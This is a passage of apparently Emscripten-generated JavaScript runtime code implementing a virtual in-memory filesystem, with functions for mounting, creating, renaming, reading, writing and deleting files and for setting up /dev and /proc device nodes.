            var device = FS.getDevice(stream.node.rdev);
            stream.stream_ops = device.stream_ops;
            if (stream.stream_ops.open) {
                stream.stream_ops.open(stream)
            }
        }
        ),
        llseek: (function() {
            throw new FS.ErrnoError(ERRNO_CODES.ESPIPE)
        }
        )
    },
    major: (function(dev) {
        return dev >> 8
    }
    ),
    minor: (function(dev) {
        return dev & 255
    }
    ),
    makedev: (function(ma, mi) {
        return ma << 8 | mi
    }
    ),
    registerDevice: (function(dev, ops) {
        FS.devices[dev] = {
            stream_ops: ops
        }
    }
    ),
    getDevice: (function(dev) {
        return FS.devices[dev]
    }
    ),
    getMounts: (function(mount) {
        var mounts = [];
        var check = [mount];
        while (check.length) {
            var m = check.pop();
            mounts.push(m);
            check.push.apply(check, m.mounts)
        }
        return mounts
    }
    ),
    syncfs: (function(populate, callback) {
        if (typeof populate === "function") {
            callback = populate;
            populate = false
        }
        FS.syncFSRequests++;
        if (FS.syncFSRequests > 1) {
            console.log("warning: " + FS.syncFSRequests + " FS.syncfs operations in flight at once, probably just doing extra work")
        }
        var mounts = FS.getMounts(FS.root.mount);
        var completed = 0;
        function doCallback(err) {
            assert(FS.syncFSRequests > 0);
            FS.syncFSRequests--;
            return callback(err)
        }
        function done(err) {
            if (err) {
                if (!done.errored) {
                    done.errored = true;
                    return doCallback(err)
                }
                return
            }
            if (++completed >= mounts.length) {
                doCallback(null)
            }
        }
        mounts.forEach((function(mount) {
            if (!mount.type.syncfs) {
                return done(null)
            }
            mount.type.syncfs(mount, populate, done)
        }
        ))
    }
    ),
    mount: (function(type, opts, mountpoint) {
        var root = mountpoint === "/";
        var pseudo = !mountpoint;
        var node;
        if (root && FS.root) {
            throw new FS.ErrnoError(ERRNO_CODES.EBUSY)
        } else if (!root && !pseudo) {
            var lookup = FS.lookupPath(mountpoint, {
                follow_mount: false
            });
            mountpoint = lookup.path;
            node = lookup.node;
            if (FS.isMountpoint(node)) {
                throw new FS.ErrnoError(ERRNO_CODES.EBUSY)
            }
            if (!FS.isDir(node.mode)) {
                throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR)
            }
        }
        var mount = {
            type: type,
            opts: opts,
            mountpoint: mountpoint,
            mounts: []
        };
        var mountRoot = type.mount(mount);
        mountRoot.mount = mount;
        mount.root = mountRoot;
        if (root) {
            FS.root = mountRoot
        } else if (node) {
            node.mounted = mount;
            if (node.mount) {
                node.mount.mounts.push(mount)
            }
        }
        return mountRoot
    }
    ),
    unmount: (function(mountpoint) {
        var lookup = FS.lookupPath(mountpoint, {
            follow_mount: false
        });
        if (!FS.isMountpoint(lookup.node)) {
            throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
        }
        var node = lookup.node;
        var mount = node.mounted;
        var mounts = FS.getMounts(mount);
        Object.keys(FS.nameTable).forEach((function(hash) {
            var current = FS.nameTable[hash];
            while (current) {
                var next = current.name_next;
                if (mounts.indexOf(current.mount) !== -1) {
                    FS.destroyNode(current)
                }
                current = next
            }
        }
        ));
        node.mounted = null;
        var idx = node.mount.mounts.indexOf(mount);
        assert(idx !== -1);
        node.mount.mounts.splice(idx, 1)
    }
    ),
    lookup: (function(parent, name) {
        return parent.node_ops.lookup(parent, name)
    }
    ),
    mknod: (function(path, mode, dev) {
        var lookup = FS.lookupPath(path, {
            parent: true
        });
        var parent = lookup.node;
        var name = PATH.basename(path);
        if (!name || name === "." || name === "..") {
            throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
        }
        var err = FS.mayCreate(parent, name);
        if (err) {
            throw new FS.ErrnoError(err)
        }
        if (!parent.node_ops.mknod) {
            throw new FS.ErrnoError(ERRNO_CODES.EPERM)
        }
        return parent.node_ops.mknod(parent, name, mode, dev)
    }
    ),
    create: (function(path, mode) {
        mode = mode !== undefined ? mode : 438;
        mode &= 4095;
        mode |= 32768;
        return FS.mknod(path, mode, 0)
    }
    ),
    mkdir: (function(path, mode) {
        mode = mode !== undefined ? mode : 511;
        mode &= 511 | 512;
        mode |= 16384;
        return FS.mknod(path, mode, 0)
    }
    ),
    mkdirTree: (function(path, mode) {
        var dirs = path.split("/");
        var d = "";
        for (var i = 0; i < dirs.length; ++i) {
            if (!dirs[i])
                continue;
            d += "/" + dirs[i];
            try {
                FS.mkdir(d, mode)
            } catch (e) {
                if (e.errno != ERRNO_CODES.EEXIST)
                    throw e
            }
        }
    }
    ),
    mkdev: (function(path, mode, dev) {
        if (typeof dev === "undefined") {
            dev = mode;
            mode = 438
        }
        mode |= 8192;
        return FS.mknod(path, mode, dev)
    }
    ),
    symlink: (function(oldpath, newpath) {
        if (!PATH.resolve(oldpath)) {
            throw new FS.ErrnoError(ERRNO_CODES.ENOENT)
        }
        var lookup = FS.lookupPath(newpath, {
            parent: true
        });
        var parent = lookup.node;
        if (!parent) {
            throw new FS.ErrnoError(ERRNO_CODES.ENOENT)
        }
        var newname = PATH.basename(newpath);
        var err = FS.mayCreate(parent, newname);
        if (err) {
            throw new FS.ErrnoError(err)
        }
        if (!parent.node_ops.symlink) {
            throw new FS.ErrnoError(ERRNO_CODES.EPERM)
        }
        return parent.node_ops.symlink(parent, newname, oldpath)
    }
    ),
    rename: (function(old_path, new_path) {
        var old_dirname = PATH.dirname(old_path);
        var new_dirname = PATH.dirname(new_path);
        var old_name = PATH.basename(old_path);
        var new_name = PATH.basename(new_path);
        var lookup, old_dir, new_dir;
        try {
            lookup = FS.lookupPath(old_path, {
                parent: true
            });
            old_dir = lookup.node;
            lookup = FS.lookupPath(new_path, {
                parent: true
            });
            new_dir = lookup.node
        } catch (e) {
            throw new FS.ErrnoError(ERRNO_CODES.EBUSY)
        }
        if (!old_dir || !new_dir)
            throw new FS.ErrnoError(ERRNO_CODES.ENOENT);
        if (old_dir.mount !== new_dir.mount) {
            throw new FS.ErrnoError(ERRNO_CODES.EXDEV)
        }
        var old_node = FS.lookupNode(old_dir, old_name);
        var relative = PATH.relative(old_path, new_dirname);
        if (relative.charAt(0) !== ".") {
            throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
        }
        relative = PATH.relative(new_path, old_dirname);
        if (relative.charAt(0) !== ".") {
            throw new FS.ErrnoError(ERRNO_CODES.ENOTEMPTY)
        }
        var new_node;
        try {
            new_node = FS.lookupNode(new_dir, new_name)
        } catch (e) {}
        if (old_node === new_node) {
            return
        }
        var isdir = FS.isDir(old_node.mode);
        var err = FS.mayDelete(old_dir, old_name, isdir);
        if (err) {
            throw new FS.ErrnoError(err)
        }
        err = new_node ? FS.mayDelete(new_dir, new_name, isdir) : FS.mayCreate(new_dir, new_name);
        if (err) {
            throw new FS.ErrnoError(err)
        }
        if (!old_dir.node_ops.rename) {
            throw new FS.ErrnoError(ERRNO_CODES.EPERM)
        }
        if (FS.isMountpoint(old_node) || new_node && FS.isMountpoint(new_node)) {
            throw new FS.ErrnoError(ERRNO_CODES.EBUSY)
        }
        if (new_dir !== old_dir) {
            err = FS.nodePermissions(old_dir, "w");
            if (err) {
                throw new FS.ErrnoError(err)
            }
        }
        try {
            if (FS.trackingDelegate["willMovePath"]) {
                FS.trackingDelegate["willMovePath"](old_path, new_path)
            }
        } catch (e) {
            console.log("FS.trackingDelegate['willMovePath']('" + old_path + "', '" + new_path + "') threw an exception: " + e.message)
        }
        FS.hashRemoveNode(old_node);
        try {
            old_dir.node_ops.rename(old_node, new_dir, new_name)
        } catch (e) {
            throw e
        } finally {
            FS.hashAddNode(old_node)
        }
        try {
            if (FS.trackingDelegate["onMovePath"])
                FS.trackingDelegate["onMovePath"](old_path, new_path)
        } catch (e) {
            console.log("FS.trackingDelegate['onMovePath']('" + old_path + "', '" + new_path + "') threw an exception: " + e.message)
        }
    }
    ),
    rmdir: (function(path) {
        var lookup = FS.lookupPath(path, {
            parent: true
        });
        var parent = lookup.node;
        var name = PATH.basename(path);
        var node = FS.lookupNode(parent, name);
        var err = FS.mayDelete(parent, name, true);
        if (err) {
            throw new FS.ErrnoError(err)
        }
        if (!parent.node_ops.rmdir) {
            throw new FS.ErrnoError(ERRNO_CODES.EPERM)
        }
        if (FS.isMountpoint(node)) {
            throw new FS.ErrnoError(ERRNO_CODES.EBUSY)
        }
        try {
            if (FS.trackingDelegate["willDeletePath"]) {
                FS.trackingDelegate["willDeletePath"](path)
            }
        } catch (e) {
            console.log("FS.trackingDelegate['willDeletePath']('" + path + "') threw an exception: " + e.message)
        }
        parent.node_ops.rmdir(parent, name);
        FS.destroyNode(node);
        try {
            if (FS.trackingDelegate["onDeletePath"])
                FS.trackingDelegate["onDeletePath"](path)
        } catch (e) {
            console.log("FS.trackingDelegate['onDeletePath']('" + path + "') threw an exception: " + e.message)
        }
    }
    ),
    readdir: (function(path) {
        var lookup = FS.lookupPath(path, {
            follow: true
        });
        var node = lookup.node;
        if (!node.node_ops.readdir) {
            throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR)
        }
        return node.node_ops.readdir(node)
    }
    ),
    unlink: (function(path) {
        var lookup = FS.lookupPath(path, {
            parent: true
        });
        var parent = lookup.node;
        var name = PATH.basename(path);
        var node = FS.lookupNode(parent, name);
        var err = FS.mayDelete(parent, name, false);
        if (err) {
            throw new FS.ErrnoError(err)
        }
        if (!parent.node_ops.unlink) {
            throw new FS.ErrnoError(ERRNO_CODES.EPERM)
        }
        if (FS.isMountpoint(node)) {
            throw new FS.ErrnoError(ERRNO_CODES.EBUSY)
        }
        try {
            if (FS.trackingDelegate["willDeletePath"]) {
                FS.trackingDelegate["willDeletePath"](path)
            }
        } catch (e) {
            console.log("FS.trackingDelegate['willDeletePath']('" + path + "') threw an exception: " + e.message)
        }
        parent.node_ops.unlink(parent, name);
        FS.destroyNode(node);
        try {
            if (FS.trackingDelegate["onDeletePath"])
                FS.trackingDelegate["onDeletePath"](path)
        } catch (e) {
            console.log("FS.trackingDelegate['onDeletePath']('" + path + "') threw an exception: " + e.message)
        }
    }
    ),
    readlink: (function(path) {
        var lookup = FS.lookupPath(path);
        var link = lookup.node;
        if (!link) {
            throw new FS.ErrnoError(ERRNO_CODES.ENOENT)
        }
        if (!link.node_ops.readlink) {
            throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
        }
        return PATH.resolve(FS.getPath(link.parent), link.node_ops.readlink(link))
    }
    ),
    stat: (function(path, dontFollow) {
        var lookup = FS.lookupPath(path, {
            follow: !dontFollow
        });
        var node = lookup.node;
        if (!node) {
            throw new FS.ErrnoError(ERRNO_CODES.ENOENT)
        }
        if (!node.node_ops.getattr) {
            throw new FS.ErrnoError(ERRNO_CODES.EPERM)
        }
        return node.node_ops.getattr(node)
    }
    ),
    lstat: (function(path) {
        return FS.stat(path, true)
    }
    ),
    chmod: (function(path, mode, dontFollow) {
        var node;
        if (typeof path === "string") {
            var lookup = FS.lookupPath(path, {
                follow: !dontFollow
            });
            node = lookup.node
        } else {
            node = path
        }
        if (!node.node_ops.setattr) {
            throw new FS.ErrnoError(ERRNO_CODES.EPERM)
        }
        node.node_ops.setattr(node, {
            mode: mode & 4095 | node.mode & ~4095,
            timestamp: Date.now()
        })
    }
    ),
    lchmod: (function(path, mode) {
        FS.chmod(path, mode, true)
    }
    ),
    fchmod: (function(fd, mode) {
        var stream = FS.getStream(fd);
        if (!stream) {
            throw new FS.ErrnoError(ERRNO_CODES.EBADF)
        }
        FS.chmod(stream.node, mode)
    }
    ),
    chown: (function(path, uid, gid, dontFollow) {
        var node;
        if (typeof path === "string") {
            var lookup = FS.lookupPath(path, {
                follow: !dontFollow
            });
            node = lookup.node
        } else {
            node = path
        }
        if (!node.node_ops.setattr) {
            throw new FS.ErrnoError(ERRNO_CODES.EPERM)
        }
        node.node_ops.setattr(node, {
            timestamp: Date.now()
        })
    }
    ),
    lchown: (function(path, uid, gid) {
        FS.chown(path, uid, gid, true)
    }
    ),
    fchown: (function(fd, uid, gid) {
        var stream = FS.getStream(fd);
        if (!stream) {
            throw new FS.ErrnoError(ERRNO_CODES.EBADF)
        }
        FS.chown(stream.node, uid, gid)
    }
    ),
    truncate: (function(path, len) {
        if (len < 0) {
            throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
        }
        var node;
        if (typeof path === "string") {
            var lookup = FS.lookupPath(path, {
                follow: true
            });
            node = lookup.node
        } else {
            node = path
        }
        if (!node.node_ops.setattr) {
            throw new FS.ErrnoError(ERRNO_CODES.EPERM)
        }
        if (FS.isDir(node.mode)) {
            throw new FS.ErrnoError(ERRNO_CODES.EISDIR)
        }
        if (!FS.isFile(node.mode)) {
            throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
        }
        var err = FS.nodePermissions(node, "w");
        if (err) {
            throw new FS.ErrnoError(err)
        }
        node.node_ops.setattr(node, {
            size: len,
            timestamp: Date.now()
        })
    }
    ),
    ftruncate: (function(fd, len) {
        var stream = FS.getStream(fd);
        if (!stream) {
            throw new FS.ErrnoError(ERRNO_CODES.EBADF)
        }
        if ((stream.flags & 2097155) === 0) {
            throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
        }
        FS.truncate(stream.node, len)
    }
    ),
    utime: (function(path, atime, mtime) {
        var lookup = FS.lookupPath(path, {
            follow: true
        });
        var node = lookup.node;
        node.node_ops.setattr(node, {
            timestamp: Math.max(atime, mtime)
        })
    }
    ),
    open: (function(path, flags, mode, fd_start, fd_end) {
        if (path === "") {
            throw new FS.ErrnoError(ERRNO_CODES.ENOENT)
        }
        flags = typeof flags === "string" ? FS.modeStringToFlags(flags) : flags;
        mode = typeof mode === "undefined" ? 438 : mode;
        if (flags & 64) {
            mode = mode & 4095 | 32768
        } else {
            mode = 0
        }
        var node;
        if (typeof path === "object") {
            node = path
        } else {
            path = PATH.normalize(path);
            try {
                var lookup = FS.lookupPath(path, {
                    follow: !(flags & 131072)
                });
                node = lookup.node
            } catch (e) {}
        }
        var created = false;
        if (flags & 64) {
            if (node) {
                if (flags & 128) {
                    throw new FS.ErrnoError(ERRNO_CODES.EEXIST)
                }
            } else {
                node = FS.mknod(path, mode, 0);
                created = true
            }
        }
        if (!node) {
            throw new FS.ErrnoError(ERRNO_CODES.ENOENT)
        }
        if (FS.isChrdev(node.mode)) {
            flags &= ~512
        }
        if (flags & 65536 && !FS.isDir(node.mode)) {
            throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR)
        }
        if (!created) {
            var err = FS.mayOpen(node, flags);
            if (err) {
                throw new FS.ErrnoError(err)
            }
        }
        if (flags & 512) {
            FS.truncate(node, 0)
        }
        flags &= ~(128 | 512);
        var stream = FS.createStream({
            node: node,
            path: FS.getPath(node),
            flags: flags,
            seekable: true,
            position: 0,
            stream_ops: node.stream_ops,
            ungotten: [],
            error: false
        }, fd_start, fd_end);
        if (stream.stream_ops.open) {
            stream.stream_ops.open(stream)
        }
        if (Module["logReadFiles"] && !(flags & 1)) {
            if (!FS.readFiles)
                FS.readFiles = {};
            if (!(path in FS.readFiles)) {
                FS.readFiles[path] = 1;
                Module["printErr"]("read file: " + path)
            }
        }
        try {
            if (FS.trackingDelegate["onOpenFile"]) {
                var trackingFlags = 0;
                if ((flags & 2097155) !== 1) {
                    trackingFlags |= FS.tracking.openFlags.READ
                }
                if ((flags & 2097155) !== 0) {
                    trackingFlags |= FS.tracking.openFlags.WRITE
                }
                FS.trackingDelegate["onOpenFile"](path, trackingFlags)
            }
        } catch (e) {
            console.log("FS.trackingDelegate['onOpenFile']('" + path + "', flags) threw an exception: " + e.message)
        }
        return stream
    }
    ),
    close: (function(stream) {
        if (stream.getdents)
            stream.getdents = null;
        try {
            if (stream.stream_ops.close) {
                stream.stream_ops.close(stream)
            }
        } catch (e) {
            throw e
        } finally {
            FS.closeStream(stream.fd)
        }
    }
    ),
    llseek: (function(stream, offset, whence) {
        if (!stream.seekable || !stream.stream_ops.llseek) {
            throw new FS.ErrnoError(ERRNO_CODES.ESPIPE)
        }
        stream.position = stream.stream_ops.llseek(stream, offset, whence);
        stream.ungotten = [];
        return stream.position
    }
    ),
    read: (function(stream, buffer, offset, length, position) {
        if (length < 0 || position < 0) {
            throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
        }
        if ((stream.flags & 2097155) === 1) {
            throw new FS.ErrnoError(ERRNO_CODES.EBADF)
        }
        if (FS.isDir(stream.node.mode)) {
            throw new FS.ErrnoError(ERRNO_CODES.EISDIR)
        }
        if (!stream.stream_ops.read) {
            throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
        }
        var seeking = true;
        if (typeof position === "undefined") {
            position = stream.position;
            seeking = false
        } else if (!stream.seekable) {
            throw new FS.ErrnoError(ERRNO_CODES.ESPIPE)
        }
        var bytesRead = stream.stream_ops.read(stream, buffer, offset, length, position);
        if (!seeking)
            stream.position += bytesRead;
        return bytesRead
    }
    ),
    write: (function(stream, buffer, offset, length, position, canOwn) {
        if (length < 0 || position < 0) {
            throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
        }
        if ((stream.flags & 2097155) === 0) {
            throw new FS.ErrnoError(ERRNO_CODES.EBADF)
        }
        if (FS.isDir(stream.node.mode)) {
            throw new FS.ErrnoError(ERRNO_CODES.EISDIR)
        }
        if (!stream.stream_ops.write) {
            throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
        }
        if (stream.flags & 1024) {
            FS.llseek(stream, 0, 2)
        }
        var seeking = true;
        if (typeof position === "undefined") {
            position = stream.position;
            seeking = false
        } else if (!stream.seekable) {
            throw new FS.ErrnoError(ERRNO_CODES.ESPIPE)
        }
        var bytesWritten = stream.stream_ops.write(stream, buffer, offset, length, position, canOwn);
        if (!seeking)
            stream.position += bytesWritten;
        try {
            if (stream.path && FS.trackingDelegate["onWriteToFile"])
                FS.trackingDelegate["onWriteToFile"](stream.path)
        } catch (e) {
            console.log("FS.trackingDelegate['onWriteToFile']('" + path + "') threw an exception: " + e.message)
        }
        return bytesWritten
    }
    ),
    allocate: (function(stream, offset, length) {
        if (offset < 0 || length <= 0) {
            throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
        }
        if ((stream.flags & 2097155) === 0) {
            throw new FS.ErrnoError(ERRNO_CODES.EBADF)
        }
        if (!FS.isFile(stream.node.mode) && !FS.isDir(stream.node.mode)) {
            throw new FS.ErrnoError(ERRNO_CODES.ENODEV)
        }
        if (!stream.stream_ops.allocate) {
            throw new FS.ErrnoError(ERRNO_CODES.EOPNOTSUPP)
        }
        stream.stream_ops.allocate(stream, offset, length)
    }
    ),
    mmap: (function(stream, buffer, offset, length, position, prot, flags) {
        if ((stream.flags & 2097155) === 1) {
            throw new FS.ErrnoError(ERRNO_CODES.EACCES)
        }
        if (!stream.stream_ops.mmap) {
            throw new FS.ErrnoError(ERRNO_CODES.ENODEV)
        }
        return stream.stream_ops.mmap(stream, buffer, offset, length, position, prot, flags)
    }
    ),
    msync: (function(stream, buffer, offset, length, mmapFlags) {
        if (!stream || !stream.stream_ops.msync) {
            return 0
        }
        return stream.stream_ops.msync(stream, buffer, offset, length, mmapFlags)
    }
    ),
    munmap: (function(stream) {
        return 0
    }
    ),
    ioctl: (function(stream, cmd, arg) {
        if (!stream.stream_ops.ioctl) {
            throw new FS.ErrnoError(ERRNO_CODES.ENOTTY)
        }
        return stream.stream_ops.ioctl(stream, cmd, arg)
    }
    ),
    readFile: (function(path, opts) {
        opts = opts || {};
        opts.flags = opts.flags || "r";
        opts.encoding = opts.encoding || "binary";
        if (opts.encoding !== "utf8" && opts.encoding !== "binary") {
            throw new Error('Invalid encoding type "' + opts.encoding + '"')
        }
        var ret;
        var stream = FS.open(path, opts.flags);
        var stat = FS.stat(path);
        var length = stat.size;
        var buf = new Uint8Array(length);
        FS.read(stream, buf, 0, length, 0);
        if (opts.encoding === "utf8") {
            ret = UTF8ArrayToString(buf, 0)
        } else if (opts.encoding === "binary") {
            ret = buf
        }
        FS.close(stream);
        return ret
    }
    ),
    writeFile: (function(path, data, opts) {
        opts = opts || {};
        opts.flags = opts.flags || "w";
        opts.encoding = opts.encoding || "utf8";
        if (opts.encoding !== "utf8" && opts.encoding !== "binary") {
            throw new Error('Invalid encoding type "' + opts.encoding + '"')
        }
        var stream = FS.open(path, opts.flags, opts.mode);
        if (opts.encoding === "utf8") {
            var buf = new Uint8Array(lengthBytesUTF8(data) + 1);
            var actualNumBytes = stringToUTF8Array(data, buf, 0, buf.length);
            FS.write(stream, buf, 0, actualNumBytes, 0, opts.canOwn)
        } else if (opts.encoding === "binary") {
            FS.write(stream, data, 0, data.length, 0, opts.canOwn)
        }
        FS.close(stream)
    }
    ),
    cwd: (function() {
        return FS.currentPath
    }
    ),
    chdir: (function(path) {
        var lookup = FS.lookupPath(path, {
            follow: true
        });
        if (lookup.node === null) {
            throw new FS.ErrnoError(ERRNO_CODES.ENOENT)
        }
        if (!FS.isDir(lookup.node.mode)) {
            throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR)
        }
        var err = FS.nodePermissions(lookup.node, "x");
        if (err) {
            throw new FS.ErrnoError(err)
        }
        FS.currentPath = lookup.path
    }
    ),
    createDefaultDirectories: (function() {
        FS.mkdir("/tmp");
        FS.mkdir("/home");
        FS.mkdir("/home/web_user")
    }
    ),
    createDefaultDevices: (function() {
        FS.mkdir("/dev");
        FS.registerDevice(FS.makedev(1, 3), {
            read: (function() {
                return 0
            }
            ),
            write: (function(stream, buffer, offset, length, pos) {
                return length
            }
            )
        });
        FS.mkdev("/dev/null", FS.makedev(1, 3));
        TTY.register(FS.makedev(5, 0), TTY.default_tty_ops);
        TTY.register(FS.makedev(6, 0), TTY.default_tty1_ops);
        FS.mkdev("/dev/tty", FS.makedev(5, 0));
        FS.mkdev("/dev/tty1", FS.makedev(6, 0));
        var random_device;
        if (typeof crypto !== "undefined") {
            var randomBuffer = new Uint8Array(1);
            random_device = (function() {
                crypto.getRandomValues(randomBuffer);
                return randomBuffer[0]
            }
            )
        } else if (ENVIRONMENT_IS_NODE) {
            random_device = (function() {
                return require("crypto").randomBytes(1)[0]
            }
            )
        } else {
            random_device = (function() {
                return Math.random() * 256 | 0
            }
            )
        }
        FS.createDevice("/dev", "random", random_device);
        FS.createDevice("/dev", "urandom", random_device);
        FS.mkdir("/dev/shm");
        FS.mkdir("/dev/shm/tmp")
    }
    ),
    createSpecialDirectories: (function() {
        FS.mkdir("/proc");
        FS.mkdir("/proc/self");
        FS.mkdir("/proc/self/fd");
        FS.mount({
            mount: (function() {
                var node = FS.createNode("/proc/self", "fd", 16384 | 511, 73);
                node.node_ops = {
                    lookup: (function(parent, name) {
                        var fd = +name;
                        var stream = FS.getStream(fd);
                        if (!stream)
                            throw new FS.ErrnoError(ERRNO_CODES.EBADF);
                        var ret = {
                            parent: null,
                            mount: {
                                mountpoint: "fake"
                            },
                            node_ops: {
                                readlink: (function() {
                                    return stream.path
                                }
                                )
                            }
                        };
                        ret.parent = ret;
                        return ret
                    }
                    )
                };
                return node
            }
            )
        }, {}, "/proc/self/fd")
    }
    ),
    createStandardStreams: (function() {
        if (Module["stdin"]) {
            FS.createDevice("/dev", "stdin", Module["stdin"])
        } else {
            FS.symlink("/dev/tty", "/dev/stdin")
        }
        if (Module["stdout"]) {
            FS.createDevice("/dev", "stdout", null, Module["stdout"])
        } else {
            FS.symlink("/dev/tty", "/dev/stdout")
        }
        if (Module["stderr"]) {
            FS.createDevice("/dev", "stderr", null, Module["stderr"])
        } else {
            FS.symlink("/dev/tty1", "/dev/stderr")
        }
        var stdin = FS.open("/dev/stdin", "r");
        assert(stdin.fd === 0, "invalid handle for stdin (" + stdin.fd + ")");
        var stdout = FS.open("/dev/stdout", "w");
        assert(stdout.fd === 1, "invalid handle for stdout (" + stdout.fd + ")");
        var stderr = FS.open("/dev/stderr", "w");
        assert(stderr.fd === 2, "invalid handle for stderr (" + stderr.fd + ")")
    }
    ),
    ensureErrnoError: (function() {
        if (FS.ErrnoError)
            return;
        FS.ErrnoError = function ErrnoError(errno, node) {
            this.node = node;
            this.setErrno = (function(errno) {
                this.errno = errno;
                for (var key in ERRNO_CODES) {
                    if (ERRNO_CODES[key] === errno) {
                        this.code = key;
                        break
                    }
                }
            }
            );
            this.setErrno(errno);
            this.message = ERRNO_MESSAGES[errno]
        }
        ;
        FS.ErrnoError.prototype = new Error;
        FS.ErrnoError.prototype.constructor = FS.ErrnoError;
        [ERRNO_CODES.ENOENT].forEach((function(code) {
            FS.genericErrors[code] = new FS.ErrnoError(code);
            FS.genericErrors[code].stack = "<generic error, no stack>"
        }
        ))
    }
    ),
    staticInit: (function() {
        FS.ensureErrnoError();
        FS.nameTable = new Array(4096);
        FS.mount(MEMFS, {}, "/");
        FS.createDefaultDirectories();
        FS.createDefaultDevices();
        FS.createSpecialDirectories();
        FS.filesystems = {
            "MEMFS": MEMFS,
            "IDBFS": IDBFS,
            "NODEFS": NODEFS,
            "WORKERFS": WORKERFS
        }
    }
    ),
    init: (function(input, output, error) {
        assert(!FS.init.initialized, "FS.init was previously called. If you want to initialize later with custom parameters, remove any earlier calls (note that one is automatically added to the generated code)");
        FS.init.initialized = true;
        FS.ensureErrnoError();
        Module["stdin"] = input || Module["stdin"];
        Module["stdout"] = output || Module["stdout"];
        Module["stderr"] = error || Module["stderr"];
        FS.createStandardStreams()
    }
    ),
    quit: (function() {
        FS.init.initialized = false;
        var fflush = Module["_fflush"];
        if (fflush)
            fflush(0);
        for (var i = 0; i < FS.streams.length; i++) {
            var stream = FS.streams[i];
            if (!stream) {
                continue
            }
            FS.close(stream)
        }
    }
    ),
    getMode: (function(canRead, canWrite) {
        var mode = 0;
        if (canRead)
            mode |= 292 | 73;
        if (canWrite)
            mode |= 146;
        return mode
    }
    ),
    joinPath: (function(parts, forceRelative) {
        var path = PATH.join.apply(null, parts);
        if (forceRelative && path[0] == "/")
            path = path.substr(1);
        return path
    }
    ),
    absolutePath: (function(relative, base) {
        return PATH.resolve(base, relative)
    }
    ),
    standardizePath: (function(path) {
        return PATH.normalize(path)
    }
    ),
    findObject: (function(path, dontResolveLastLink) {
        var ret = FS.analyzePath(path, dontResolveLastLink);
        if (ret.exists) {
            return ret.object
        } else {
            ___setErrNo(ret.error);
            return null
        }
    }
    ),
    analyzePath: (function(path, dontResolveLastLink) {
        try {
            var lookup = FS.lookupPath(path, {
                follow: !dontResolveLastLink
            });
            path = lookup.path
        } catch (e) {}
        var ret = {
            isRoot: false,
            exists: false,
            error: 0,
            name: null,
            path: null,
            object: null,
            parentExists: false,
            parentPath: null,
            parentObject: null
        };
        try {
            var lookup = FS.lookupPath(path, {
                parent: true
            });
            ret.parentExists = true;
            ret.parentPath = lookup.path;
            ret.parentObject = lookup.node;
            ret.name = PATH.basename(path);
            lookup = FS.lookupPath(path, {
                follow: !dontResolveLastLink
            });
            ret.exists = true;
            ret.path = lookup.path;
            ret.object = lookup.node;
            ret.name = lookup.node.name;
            ret.isRoot = lookup.path === "/"
        } catch (e) {
            ret.error = e.errno
        }
        return ret
    }
    ),
    createFolder: (function(parent, name, canRead, canWrite) {
        var path = PATH.join2(typeof parent === "string" ? parent : FS.getPath(parent), name);
        var mode = FS.getMode(canRead, canWrite);
        return FS.mkdir(path, mode)
    }
    ),
    createPath: (function(parent, path, canRead, canWrite) {
        parent = typeof parent === "string" ? parent : FS.getPath(parent);
        var parts = path.split("/").reverse();
        while (parts.length) {
            var part = parts.pop();
            if (!part)
                continue;
            var current = PATH.join2(parent, part);
            try {
                FS.mkdir(current)
            } catch (e) {}
            parent = current
        }
        return current
    }
    ),
    createFile: (function(parent, name, properties, canRead, canWrite) {
        var path = PATH.join2(typeof parent === "string" ? parent : FS.getPath(parent), name);
        var mode = FS.getMode(canRead, canWrite);
        return FS.create(path, mode)
    }
    ),
    createDataFile: (function(parent, name, data, canRead, canWrite, canOwn) {
        var path = name ? PATH.join2(typeof parent === "string" ? parent : FS.getPath(parent), name) : parent;
        var mode = FS.getMode(canRead, canWrite);
        var node = FS.create(path, mode);
        if (data) {
            if (typeof data === "string") {
                var arr = new Array(data.length);
                for (var i = 0, len = data.length; i < len; ++i)
                    arr[i] = data.charCodeAt(i);
                data = arr
            }
            FS.chmod(node, mode | 146);
            var stream = FS.open(node, "w");
            FS.write(stream, data, 0, data.length, 0, canOwn);
            FS.close(stream);
            FS.chmod(node, mode)
        }
        return node
    }
    ),
    createDevice: (function(parent, name, input, output) {
        var path = PATH.join2(typeof parent === "string" ? parent : FS.getPath(parent), name);
        var mode = FS.getMode(!!input, !!output);
        if (!FS.createDevice.major)
            FS.createDevice.major = 64;
        var dev = FS.makedev(FS.createDevice.major++, 0);
        FS.registerDevice(dev, {
            open: (function(stream) {
                stream.seekable = false
            }
            ),
            close: (function(stream) {
                if (output && output.buffer && output.buffer.length) {
                    output(10)
                }
            }
            ),
            read: (function(stream, buffer, offset, length, pos) {
                var bytesRead = 0;
                for (var i = 0; i < length; i++) {
                    var result;
                    try {
                        result = input()
                    } catch (e) {
                        throw new FS.ErrnoError(ERRNO_CODES.EIO)
                    }
                    if (result === undefined && bytesRead === 0) {
                        throw new FS.ErrnoError(ERRNO_CODES.EAGAIN)
                    }
                    if (result === null || result === undefined)
                        break;
                    bytesRead++;
                    buffer[offset + i] = result
                }
                if (bytesRead) {
                    stream.node.timestamp = Date.now()
                }
                return bytesRead
            }
            ),
            write: (function(stream, buffer, offset, length, pos) {
                for (var i = 0; i < length; i++) {
                    try {
                        output(buffer[offset + i])
                    } catch (e) {
                        throw new FS.ErrnoError(ERRNO_CODES.EIO)
                    }
                }
                if (length) {
                    stream.node.timestamp = Date.now()
                }
                return i
            }
            )
        });
        return FS.mkdev(path, mode, dev)
    }
    ),
    createLink: (function(parent, name, target, canRead, canWrite) {
        var path = PATH.join2(typeof parent === "string" ? parent : FS.getPath(parent), name);
        return FS.symlink(target, path)
    }
    ),
    forceLoadFile: (function(obj) {
